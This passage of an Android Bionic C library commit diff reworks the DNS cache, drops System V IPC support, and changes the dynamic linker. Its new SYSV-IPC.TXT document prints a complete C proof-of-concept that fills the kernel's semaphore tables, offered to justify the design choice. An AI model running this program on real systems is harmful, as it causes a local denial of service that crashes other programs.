then the C library will keep the corresponding pthread_once_t mutex locked.
|
||||
Any further call to pthread_once() will result in a deadlock.
|
||||
then the C library will keep the corresponding pthread_once_t mutex
|
||||
locked. Any further call to pthread_once() will result in a deadlock.
|
||||
|
||||
A proper implementation should be able to register a C++ exception cleanup
|
||||
handler before the callback to properly unlock the pthread_once_t. Unfortunately
|
||||
this requires tricky assembly code that is highly dependent on the compiler.
|
||||
A proper implementation should be able to register a C++ exception
|
||||
cleanup handler before the callback to properly unlock the
|
||||
pthread_once_t. Unfortunately this requires tricky assembly code that
|
||||
is highly dependent on the compiler.
|
||||
|
||||
This feature is not planned to be supported anytime soon.
|
||||
|
||||
- The same problem may arise if you throw an exception within a callback called
|
||||
from the C library. Fortunately, these cases are very rare in the real-world,
|
||||
but any callback you provide to the C library should *not* throw an exception.
|
||||
- The same problem may arise if you throw an exception within a callback
|
||||
called from the C library. Fortunately, these cases are very rare in the
|
||||
real-world, but any callback you provide to the C library should *not*
|
||||
throw an exception.
|
||||
|
||||
- Bionic lacks a few support functions to have exception support work properly.
|
||||
- Bionic lacks a few support functions to have exception support work
|
||||
properly.
|
||||
|
||||
System V IPCs:
|
||||
|
||||
Bionic intentionally does not provide support for System-V IPCs mechanisms,
|
||||
like the ones provided by semget(), shmget(), msgget(). The reason for this
|
||||
is to avoid denial-of-service. For a detailed rationale about this, please
|
||||
read the file docs/SYSV-IPCS.TXT.
|
||||
|
||||
Include Paths:
|
||||
|
||||
The Android build system should automatically provide the necessary include paths
|
||||
required to build against the C library headers. However, if you want to do that
|
||||
yourself, you will need to add:
|
||||
The Android build system should automatically provide the necessary include
|
||||
paths required to build against the C library headers. However, if you want
|
||||
to do that yourself, you will need to add:
|
||||
|
||||
libc/arch-$ARCH/include
|
||||
libc/include
|
||||
|
103
libc/docs/SYSV-IPC.TXT
Normal file
103
libc/docs/SYSV-IPC.TXT
Normal file
@ -0,0 +1,103 @@
|
||||
Android does not support System V IPCs, i.e. the facilities provided by the
|
||||
following standard Posix headers:
|
||||
|
||||
<sys/sem.h> /* SysV semaphores */
|
||||
<sys/shm.h> /* SysV shared memory segments */
|
||||
<sys/msg.h> /* SysV message queues */
|
||||
<sys/ipc.h> /* General IPC definitions */
|
||||
|
||||
The reason for this is due to the fact that, by design, they lead to global
|
||||
kernel resource leakage.
|
||||
|
||||
For example, there is no way to automatically release a SysV semaphore
|
||||
allocated in the kernel when:
|
||||
|
||||
- a buggy or malicious process exits
|
||||
- a non-buggy and non-malicious process crashes or is explicitely killed.
|
||||
|
||||
Killing processes automatically to make room for new ones is an
|
||||
important part of Android's application lifecycle implementation. This means
|
||||
that, even assuming only non-buggy and non-malicious code, it is very likely
|
||||
that over time, the kernel global tables used to implement SysV IPCs will fill
|
||||
up.
|
||||
|
||||
At that point, strange failures are likely to occur and prevent programs that
|
||||
use them to run properly until the next reboot of the system.
|
||||
|
||||
And we can't ignore potential malicious applications. As a proof of concept
|
||||
here is a simple exploit that you can run on a standard Linux box today:
|
||||
|
||||
--------------- cut here ------------------------
|
||||
#include <sys/sem.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
|
||||
#define NUM_SEMAPHORES 32
|
||||
#define MAX_FAILS 10
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int counter = 0;
|
||||
int fails = 0;
|
||||
|
||||
if (counter == IPC_PRIVATE)
|
||||
counter++;
|
||||
|
||||
printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
|
||||
|
||||
for (;;) {
|
||||
int ret = fork();
|
||||
int status;
|
||||
|
||||
if (ret < 0) {
|
||||
perror("fork:");
|
||||
break;
|
||||
}
|
||||
if (ret == 0) {
|
||||
/* in the child */
|
||||
ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
|
||||
if (ret < 0) {
|
||||
return errno;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
/* in the parent */
|
||||
ret = wait(&status);
|
||||
if (ret < 0) {
|
||||
perror("waitpid:");
|
||||
break;
|
||||
}
|
||||
if (status != 0) {
|
||||
status = WEXITSTATUS(status);
|
||||
fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
|
||||
counter, status);
|
||||
if (++fails >= MAX_FAILS)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
counter++;
|
||||
if ((counter % 1000) == 0) {
|
||||
printf("%d\n", counter);
|
||||
}
|
||||
if (counter == IPC_PRIVATE)
|
||||
counter++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
--------------- cut here ------------------------
|
||||
|
||||
If you run it on a typical Linux distribution today, you'll discover that it
|
||||
will quickly fill up the kernel's table of unique key_t values, and that
|
||||
strange things will happen in some parts of the system, but not all.
|
||||
|
||||
(You can use the "ipcs -u" command to get a summary describing the kernel
|
||||
tables and their allocations)
|
||||
|
||||
For example, in our experience, anything program launched after that that
|
||||
calls strerror() will simply crash. The USB sub-system starts spoutting weird
|
||||
errors to the system console, etc...
|
@ -170,17 +170,6 @@
|
||||
#define __NR_getsockopt (__NR_SYSCALL_BASE + 295)
|
||||
#define __NR_sendmsg (__NR_SYSCALL_BASE + 296)
|
||||
#define __NR_recvmsg (__NR_SYSCALL_BASE + 297)
|
||||
#define __NR_semctl (__NR_SYSCALL_BASE + 300)
|
||||
#define __NR_semget (__NR_SYSCALL_BASE + 299)
|
||||
#define __NR_semop (__NR_SYSCALL_BASE + 298)
|
||||
#define __NR_shmat (__NR_SYSCALL_BASE + 305)
|
||||
#define __NR_shmctl (__NR_SYSCALL_BASE + 308)
|
||||
#define __NR_shmdt (__NR_SYSCALL_BASE + 306)
|
||||
#define __NR_shmget (__NR_SYSCALL_BASE + 307)
|
||||
#define __NR_msgctl (__NR_SYSCALL_BASE + 304)
|
||||
#define __NR_msgget (__NR_SYSCALL_BASE + 303)
|
||||
#define __NR_msgrcv (__NR_SYSCALL_BASE + 302)
|
||||
#define __NR_msgsnd (__NR_SYSCALL_BASE + 301)
|
||||
#define __NR_epoll_create (__NR_SYSCALL_BASE + 250)
|
||||
#define __NR_epoll_ctl (__NR_SYSCALL_BASE + 251)
|
||||
#define __NR_epoll_wait (__NR_SYSCALL_BASE + 252)
|
||||
|
@ -179,17 +179,6 @@ int sched_getparam (pid_t pid, struct sched_param *param);
|
||||
int sched_get_priority_max (int policy);
|
||||
int sched_get_priority_min (int policy);
|
||||
int sched_rr_get_interval (pid_t pid, struct timespec *interval);
|
||||
int semctl (int semid, int semnum, int cmd, ...);
|
||||
int semget (key_t key, int nsems, int semflg);
|
||||
int semop (int semid, struct sembuf* sops, size_t nsops);
|
||||
void* shmat (int shmid, const void* shmaddr, int shmflg);
|
||||
int shmctl (int shmid, int cmd, struct shmid_ds* buf);
|
||||
int shmdt (const void* shmaddr);
|
||||
int shmget (key_t key, size_t size, int shmflg);
|
||||
int msgctl (int msqid, int cmd, struct msqid_ds *buf);
|
||||
int msgget (key_t key, int msgflg);
|
||||
int msgrcv (int msqid, void* msgp, size_t msgsz, long int msgtyp, int msgflg);
|
||||
int msgsnd (int msqid, const void* msgp, size_t msgsz, int msgflg);
|
||||
int uname (struct utsname *);
|
||||
pid_t __wait4 (pid_t pid, int *status, int options, struct rusage *rusage);
|
||||
mode_t umask (mode_t);
|
||||
|
@ -1,43 +0,0 @@
|
||||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#ifndef _SYS_MSG_H
|
||||
#define _SYS_MSG_H
|
||||
|
||||
#include <sys/ipc.h>
|
||||
#include <linux/msg.h>
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
extern int msgctl(int msqid, int cmd, struct msqid_ds *buf);
|
||||
extern int msgget(key_t key, int msgflg);
|
||||
extern int msgrcv(int msqid, void* msgp, size_t msgsz, long int msgtyp, int msgflg);
|
||||
extern int msgsnd(int msqid, const void* msgp, size_t msgsz, int msgflg);
|
||||
|
||||
__END_DECLS
|
||||
|
||||
#endif /* _SYS_MSG_H */
|
@ -1,43 +0,0 @@
|
||||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#ifndef _SYS_SHM_H
|
||||
#define _SYS_SHM_H
|
||||
|
||||
#include <sys/ipc.h>
|
||||
#include <linux/shm.h>
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
extern void* shmat(int shmid, const void* shmaddr, int shmflg);
|
||||
extern int shmctl(int shmid, int cmd, struct shmid_ds* buf);
|
||||
extern int shmdt(const void* shmaddr);
|
||||
extern int shmget(key_t key, size_t size, int shmflg);
|
||||
|
||||
__END_DECLS
|
||||
|
||||
#endif /* _SYS_SHM_H */
|
@ -29,6 +29,10 @@
|
||||
#define AUDIO_SET_EQ _IOW(AUDIO_IOCTL_MAGIC, 8, unsigned)
|
||||
#define AUDIO_SET_RX_IIR _IOW(AUDIO_IOCTL_MAGIC, 9, unsigned)
|
||||
#define AUDIO_SET_VOLUME _IOW(AUDIO_IOCTL_MAGIC, 10, unsigned)
|
||||
#define AUDIO_ENABLE_AUDPRE _IOW(AUDIO_IOCTL_MAGIC, 11, unsigned)
|
||||
#define AUDIO_SET_AGC _IOW(AUDIO_IOCTL_MAGIC, 12, unsigned)
|
||||
#define AUDIO_SET_NS _IOW(AUDIO_IOCTL_MAGIC, 13, unsigned)
|
||||
#define AUDIO_SET_TX_IIR _IOW(AUDIO_IOCTL_MAGIC, 14, unsigned)
|
||||
|
||||
struct msm_audio_config {
|
||||
uint32_t buffer_size;
|
||||
|
@ -626,37 +626,12 @@ gethostbyname_internal(const char *name, int af, res_state res)
|
||||
break;
|
||||
}
|
||||
|
||||
#ifdef ANDROID_CHANGES
|
||||
cache = __get_res_cache();
|
||||
if (cache != NULL) {
|
||||
hp = _resolv_cache_lookup( cache, name, af );
|
||||
if (hp == _RESOLV_HOSTENT_NONE) {
|
||||
h_errno = HOST_NOT_FOUND;
|
||||
return NULL;
|
||||
}
|
||||
if (hp != NULL) {
|
||||
h_errno = NETDB_SUCCESS;
|
||||
return hp;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
hp = NULL;
|
||||
h_errno = NETDB_INTERNAL;
|
||||
if (nsdispatch(&hp, dtab, NSDB_HOSTS, "gethostbyname",
|
||||
default_dns_files, name, strlen(name), af) != NS_SUCCESS) {
|
||||
#ifdef ANDROID_CHANGES
|
||||
/* cache negative DNS entry */
|
||||
if (h_errno == HOST_NOT_FOUND && cache != NULL)
|
||||
_resolv_cache_add( cache, name, af, _RESOLV_HOSTENT_NONE );
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
#ifdef ANDROID_CHANGES
|
||||
if (cache != NULL) {
|
||||
_resolv_cache_add( cache, name, af, hp );
|
||||
}
|
||||
#endif
|
||||
h_errno = NETDB_SUCCESS;
|
||||
return hp;
|
||||
}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -81,6 +81,9 @@ __RCSID("$NetBSD: res_send.c,v 1.9 2006/01/24 17:41:25 christos Exp $");
|
||||
#endif
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
|
||||
/* set to 1 to use our small/simple/limited DNS cache */
|
||||
#define USE_RESOLV_CACHE 1
|
||||
|
||||
/*
|
||||
* Send query to name server and wait for reply.
|
||||
*/
|
||||
@ -111,6 +114,10 @@ __RCSID("$NetBSD: res_send.c,v 1.9 2006/01/24 17:41:25 christos Exp $");
|
||||
|
||||
#include <isc/eventlib.h>
|
||||
|
||||
#if USE_RESOLV_CACHE
|
||||
# include <resolv_cache.h>
|
||||
#endif
|
||||
|
||||
#ifndef DE_CONST
|
||||
#define DE_CONST(c,v) v = ((c) ? \
|
||||
strchr((const void *)(c), *(const char *)(const void *)(c)) : NULL)
|
||||
@ -344,12 +351,17 @@ res_queriesmatch(const u_char *buf1, const u_char *eom1,
|
||||
return (1);
|
||||
}
|
||||
|
||||
|
||||
int
|
||||
res_nsend(res_state statp,
|
||||
const u_char *buf, int buflen, u_char *ans, int anssiz)
|
||||
{
|
||||
int gotsomewhere, terrno, try, v_circuit, resplen, ns, n;
|
||||
char abuf[NI_MAXHOST];
|
||||
#if USE_RESOLV_CACHE
|
||||
struct resolv_cache* cache;
|
||||
ResolvCacheStatus cache_status = RESOLV_CACHE_UNSUPPORTED;
|
||||
#endif
|
||||
|
||||
if (statp->nscount == 0) {
|
||||
errno = ESRCH;
|
||||
@ -365,6 +377,20 @@ res_nsend(res_state statp,
|
||||
gotsomewhere = 0;
|
||||
terrno = ETIMEDOUT;
|
||||
|
||||
#if USE_RESOLV_CACHE
|
||||
cache = __get_res_cache();
|
||||
if (cache != NULL) {
|
||||
int anslen = 0;
|
||||
cache_status = _resolv_cache_lookup(
|
||||
cache, buf, buflen,
|
||||
ans, anssiz, &anslen);
|
||||
|
||||
if (cache_status == RESOLV_CACHE_FOUND) {
|
||||
return anslen;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
/*
|
||||
* If the ns_addr_list in the resolver context has changed, then
|
||||
* invalidate our cached copy and the associated timing data.
|
||||
@ -534,6 +560,12 @@ res_nsend(res_state statp,
|
||||
(stdout, "%s", ""),
|
||||
ans, (resplen > anssiz) ? anssiz : resplen);
|
||||
|
||||
#if USE_RESOLV_CACHE
|
||||
if (cache_status == RESOLV_CACHE_NOTFOUND) {
|
||||
_resolv_cache_add(cache, buf, buflen,
|
||||
ans, resplen);
|
||||
}
|
||||
#endif
|
||||
/*
|
||||
* If we have temporarily opened a virtual circuit,
|
||||
* or if we haven't been asked to keep a socket open,
|
||||
|
@ -46,7 +46,6 @@ typedef struct {
|
||||
struct __res_state _nres[1];
|
||||
unsigned _serial;
|
||||
struct prop_info* _pi;
|
||||
struct hostent* _hostent;
|
||||
struct res_static _rstatic[1];
|
||||
} _res_thread;
|
||||
|
||||
@ -66,10 +65,10 @@ _res_thread_alloc(void)
|
||||
if ( res_ninit( rt->_nres ) < 0 ) {
|
||||
free(rt);
|
||||
rt = NULL;
|
||||
}
|
||||
rt->_hostent = NULL;
|
||||
} else {
|
||||
memset(rt->_rstatic, 0, sizeof rt->_rstatic);
|
||||
}
|
||||
}
|
||||
return rt;
|
||||
}
|
||||
|
||||
@ -93,7 +92,6 @@ _res_thread_free( void* _rt )
|
||||
_res_thread* rt = _rt;
|
||||
|
||||
_res_static_done(rt->_rstatic);
|
||||
_resolv_hostent_free(rt->_hostent);
|
||||
res_ndestroy(rt->_nres);
|
||||
free(rt);
|
||||
}
|
||||
@ -132,6 +130,7 @@ _res_thread_get(void)
|
||||
rt = NULL;
|
||||
pthread_setspecific( _res_key, rt );
|
||||
}
|
||||
_resolv_cache_reset(rt->_serial);
|
||||
return rt;
|
||||
}
|
||||
|
||||
@ -177,14 +176,6 @@ __res_put_state(res_state res)
|
||||
res=res;
|
||||
}
|
||||
|
||||
struct hostent**
|
||||
__get_res_cache_hostent_p(void)
|
||||
{
|
||||
_res_thread* rt = _res_thread_get();
|
||||
|
||||
return rt ? &rt->_hostent : NULL;
|
||||
}
|
||||
|
||||
res_static
|
||||
__res_get_static(void)
|
||||
{
|
||||
|
@ -28,31 +28,39 @@
|
||||
#ifndef _RESOLV_CACHE_H_
|
||||
#define _RESOLV_CACHE_H_
|
||||
|
||||
#include <netdb.h>
|
||||
|
||||
const struct hostent _resolv_hostent_none;
|
||||
#define _RESOLV_HOSTENT_NONE ((struct hostent*)&_resolv_hostent_none)
|
||||
|
||||
struct resolv_cache; /* forward */
|
||||
|
||||
/* get cache instance, can be NULL if cache is disabled
|
||||
* (e.g. through an environment variable) */
|
||||
extern struct resolv_cache* __get_res_cache(void);
|
||||
extern struct hostent** __get_res_cache_hostent_p(void);
|
||||
|
||||
extern struct resolv_cache* _resolv_cache_get( void );
|
||||
/* this gets called everytime we detect some changes in the DNS configuration
|
||||
* and will flush the cache */
|
||||
extern void _resolv_cache_reset( unsigned generation );
|
||||
|
||||
extern struct resolv_cache* _resolv_cache_create( void );
|
||||
typedef enum {
|
||||
RESOLV_CACHE_UNSUPPORTED, /* the cache can't handle that kind of queries */
|
||||
/* or the answer buffer is too small */
|
||||
RESOLV_CACHE_NOTFOUND, /* the cache doesn't know about this query */
|
||||
RESOLV_CACHE_FOUND /* the cache found the answer */
|
||||
} ResolvCacheStatus;
|
||||
|
||||
extern void _resolv_cache_destroy( struct resolv_cache* cache );
|
||||
extern ResolvCacheStatus
|
||||
_resolv_cache_lookup( struct resolv_cache* cache,
|
||||
const void* query,
|
||||
int querylen,
|
||||
void* answer,
|
||||
int answersize,
|
||||
int *answerlen );
|
||||
|
||||
extern struct hostent* _resolv_cache_lookup( struct resolv_cache* cache,
|
||||
const char* name,
|
||||
int af );
|
||||
|
||||
extern void _resolv_cache_add( struct resolv_cache* cache,
|
||||
const char* name,
|
||||
int af,
|
||||
struct hostent* hp );
|
||||
|
||||
extern struct hostent* _resolv_hostent_copy( struct hostent* hp );
|
||||
extern void _resolv_hostent_free( struct hostent* hp );
|
||||
/* add a (query,answer) to the cache, only call if _resolv_cache_lookup
|
||||
* did return RESOLV_CACHE_NOTFOUND
|
||||
*/
|
||||
extern void
|
||||
_resolv_cache_add( struct resolv_cache* cache,
|
||||
const void* query,
|
||||
int querylen,
|
||||
const void* answer,
|
||||
int answerlen );
|
||||
|
||||
#endif /* _RESOLV_CACHE_H_ */
|
||||
|
@ -1133,13 +1133,25 @@ static int reloc_library(soinfo *si, Elf32_Rel *rel, unsigned count)
|
||||
switch(type){
|
||||
#if defined(ANDROID_ARM_LINKER)
|
||||
case R_ARM_JUMP_SLOT:
|
||||
COUNT_RELOC(RELOC_ABSOLUTE);
|
||||
MARK(rel->r_offset);
|
||||
TRACE_TYPE(RELO, "%5d RELO JMP_SLOT %08x <- %08x %s\n", pid,
|
||||
reloc, sym_addr, sym_name);
|
||||
*((unsigned*)reloc) = sym_addr;
|
||||
break;
|
||||
case R_ARM_GLOB_DAT:
|
||||
COUNT_RELOC(RELOC_ABSOLUTE);
|
||||
MARK(rel->r_offset);
|
||||
TRACE_TYPE(RELO, "%5d RELO GLOB_DAT %08x <- %08x %s\n", pid,
|
||||
reloc, sym_addr, sym_name);
|
||||
*((unsigned*)reloc) = sym_addr;
|
||||
break;
|
||||
case R_ARM_ABS32:
|
||||
COUNT_RELOC(RELOC_ABSOLUTE);
|
||||
MARK(rel->r_offset);
|
||||
TRACE_TYPE(RELO, "%5d RELO ABS %08x <- %08x %s\n", pid,
|
||||
reloc, sym_addr, sym_name);
|
||||
*((unsigned*)reloc) = sym_addr;
|
||||
*((unsigned*)reloc) += sym_addr;
|
||||
break;
|
||||
#elif defined(ANDROID_X86_LINKER)
|
||||
case R_386_JUMP_SLOT:
|
||||
@ -1591,13 +1603,13 @@ static int link_image(soinfo *si, unsigned wr_offset)
|
||||
}
|
||||
#endif
|
||||
|
||||
/* If this is a SETUID programme, dup /dev/null to openned stdin,
|
||||
/* If this is a SET?ID program, dup /dev/null to opened stdin,
|
||||
stdout and stderr to close a security hole described in:
|
||||
|
||||
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc
|
||||
|
||||
*/
|
||||
if (getuid() != geteuid())
|
||||
if (getuid() != geteuid() || getgid() != getegid())
|
||||
nullify_closed_stdio ();
|
||||
call_constructors(si);
|
||||
notify_gdb_of_load(si);
|
||||
|
Loading…
Reference in New Issue
Block a user